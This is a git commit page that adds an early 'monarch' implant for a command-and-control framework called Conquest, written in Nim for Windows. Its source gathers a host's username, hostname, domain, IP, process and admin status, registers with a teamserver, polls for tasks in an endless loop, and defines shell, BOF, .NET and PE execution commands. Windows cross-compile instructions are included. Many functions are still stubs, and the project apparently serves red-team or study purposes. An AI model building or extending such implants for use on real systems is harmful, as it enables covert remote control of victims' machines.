Added monarch agent
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -1,5 +1,5 @@
|
||||
# Ignore agents
|
||||
agents/
|
||||
# agents/
|
||||
*.db
|
||||
# Ignore binaries
|
||||
*/bin/*
|
||||
|
||||
13
agents/README.md
Normal file
13
agents/README.md
Normal file
@@ -0,0 +1,13 @@
|
||||
# Conquest Agents
|
||||
|
||||
For cross-compilation from UNIX to Windows, use the following command:
|
||||
|
||||
```bash
|
||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```
|
||||
./build.sh
|
||||
```
|
||||
65
agents/monarch/agentinfo.nim
Normal file
65
agents/monarch/agentinfo.nim
Normal file
@@ -0,0 +1,65 @@
|
||||
import winim, os, net
|
||||
|
||||
import ./types
|
||||
|
||||
# Username
|
||||
proc getUsername*(): string =
|
||||
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
|
||||
var
|
||||
buffer = newWString(UNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
|
||||
# Hostname/Computername
|
||||
proc getHostname*(): string =
|
||||
var
|
||||
buffer = newWString(CNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetComputerNameW(&buffer, &dwSize)
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
|
||||
# Domain Name
|
||||
proc getDomain*(): string =
|
||||
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
|
||||
var
|
||||
buffer = newWString(UNLEN + 1)
|
||||
dwSize = DWORD buffer.len
|
||||
|
||||
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
||||
return $buffer[ 0 ..< int(dwSize)]
|
||||
|
||||
|
||||
# Current process name
|
||||
proc getProcessExe*(): string =
|
||||
let
|
||||
hProcess: HANDLE = GetCurrentProcess()
|
||||
buffer = newWString(MAX_PATH + 1)
|
||||
|
||||
try:
|
||||
if hProcess != 0:
|
||||
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
||||
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
||||
return string($buffer).extractFilename()
|
||||
finally:
|
||||
CloseHandle(hProcess)
|
||||
|
||||
# Current process ID
|
||||
proc getProcessId*(): int =
|
||||
return int(GetCurrentProcessId())
|
||||
|
||||
# Current process elevation/integrity level
|
||||
proc isElevated*(): bool =
|
||||
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
|
||||
return isAdmin()
|
||||
|
||||
# IPv4 Address (Internal)
|
||||
proc getIPv4Address*(): string =
|
||||
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
||||
return $getPrimaryIpAddr()
|
||||
|
||||
# Windows Version
|
||||
proc getOSVersion*(): string =
|
||||
discard
|
||||
3
agents/monarch/build.sh
Normal file
3
agents/monarch/build.sh
Normal file
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
|
||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
|
||||
40
agents/monarch/client.nim
Normal file
40
agents/monarch/client.nim
Normal file
@@ -0,0 +1,40 @@
|
||||
import strformat, os, times
|
||||
import winim
|
||||
|
||||
import ./[types, http]
|
||||
import commands/shell
|
||||
|
||||
proc main() =
|
||||
|
||||
#[
|
||||
The process is the following:
|
||||
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
|
||||
2. Agent collects information relevant for the registration (using Windows API)
|
||||
3. Agent registers to the teamserver
|
||||
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
|
||||
]#
|
||||
|
||||
let listener = "NVIACCXB"
|
||||
let agent = register(listener)
|
||||
echo fmt"[+] [{agent}] Agent registered."
|
||||
|
||||
#[
|
||||
Infinite Routine:
|
||||
1. Sleep Obfuscation
|
||||
2. Retrieve task from /tasks endpoint
|
||||
3. Execute task and post result to /results
|
||||
4. If additional tasks have been fetched, go to 2.
|
||||
5. If no more tasks need to be executed, go to 1.
|
||||
]#
|
||||
while true:
|
||||
|
||||
sleep(10 * 1000)
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
echo fmt"[{date}] Checking for tasks..."
|
||||
|
||||
discard getTasks(listener, agent)
|
||||
|
||||
|
||||
when isMainModule:
|
||||
main()
|
||||
3
agents/monarch/commands/shell.nim
Normal file
3
agents/monarch/commands/shell.nim
Normal file
@@ -0,0 +1,3 @@
|
||||
import winim
|
||||
|
||||
import ../types
|
||||
54
agents/monarch/http.nim
Normal file
54
agents/monarch/http.nim
Normal file
@@ -0,0 +1,54 @@
|
||||
import httpclient, json, strformat, asyncdispatch
|
||||
|
||||
import ./[types, agentinfo]
|
||||
|
||||
proc register*(listener: string): string =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
# Create registration payload
|
||||
let body = %*{
|
||||
"username": getUsername(),
|
||||
"hostname":getHostname(),
|
||||
"domain": getDomain(),
|
||||
"ip": getIPv4Address(),
|
||||
"os": getOSVersion(),
|
||||
"process": getProcessExe(),
|
||||
"pid": getProcessId(),
|
||||
"elevated": isElevated()
|
||||
}
|
||||
|
||||
echo $body
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
||||
return responseBody
|
||||
except HttpRequestError as err:
|
||||
echo "Registration failed"
|
||||
quit(0)
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
proc getTasks*(listener: string, agent: string): seq[Task] =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
|
||||
echo responseBody
|
||||
|
||||
except HttpRequestError as err:
|
||||
echo "Not found"
|
||||
quit(0)
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return @[]
|
||||
|
||||
proc postResults*(listener: string, agent: string, results: string) =
|
||||
discard
|
||||
25
agents/monarch/types.nim
Normal file
25
agents/monarch/types.nim
Normal file
@@ -0,0 +1,25 @@
|
||||
import winim
|
||||
|
||||
type
|
||||
TaskCommand* = enum
|
||||
ExecuteShell = "shell"
|
||||
ExecuteBof = "bof"
|
||||
ExecuteAssembly = "dotnet"
|
||||
ExecutePe = "pe"
|
||||
|
||||
TaskStatus* = enum
|
||||
Created = "created"
|
||||
Completed = "completed"
|
||||
Pending = "pending"
|
||||
Failed = "failed"
|
||||
Cancelled = "cancelled"
|
||||
|
||||
TaskResult* = string
|
||||
|
||||
Task* = ref object
|
||||
id*: int
|
||||
agent*: string
|
||||
command*: TaskCommand
|
||||
args*: seq[string]
|
||||
result*: TaskResult
|
||||
status*: TaskStatus
|
||||
@@ -1,5 +1,5 @@
|
||||
import terminal, strformat, strutils, tables
|
||||
import ./commands
|
||||
import ./interact
|
||||
import ../[types, globals, utils]
|
||||
import ../db/database
|
||||
|
||||
@@ -131,11 +131,4 @@ proc register*(agent: Agent): bool =
|
||||
cq.add(agent)
|
||||
cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
|
||||
|
||||
return true
|
||||
|
||||
#[
|
||||
Agent interaction mode
|
||||
When interacting with a agent, the following functions are called:
|
||||
- addTask, to add a new tasks to the agents task queue
|
||||
- getTaskResult, get the result for the task from the agent
|
||||
]#
|
||||
return true
|
||||
@@ -2,7 +2,7 @@ import argparse, times, strformat, terminal
|
||||
import ../[types]
|
||||
|
||||
#[
|
||||
Agnet Argument parsing
|
||||
Agent Argument parsing
|
||||
]#
|
||||
var parser = newParser:
|
||||
help("Conquest Command & Control")
|
||||
@@ -44,4 +44,11 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
|
||||
except UsageError:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
|
||||
cq.writeLine("")
|
||||
cq.writeLine("")
|
||||
|
||||
proc createTask*(args: varargs[string]): Task =
|
||||
discard
|
||||
|
||||
proc addTask*(cq: Conquest, agent: Agent, task: Task) =
|
||||
discard
|
||||
|
||||
Reference in New Issue
Block a user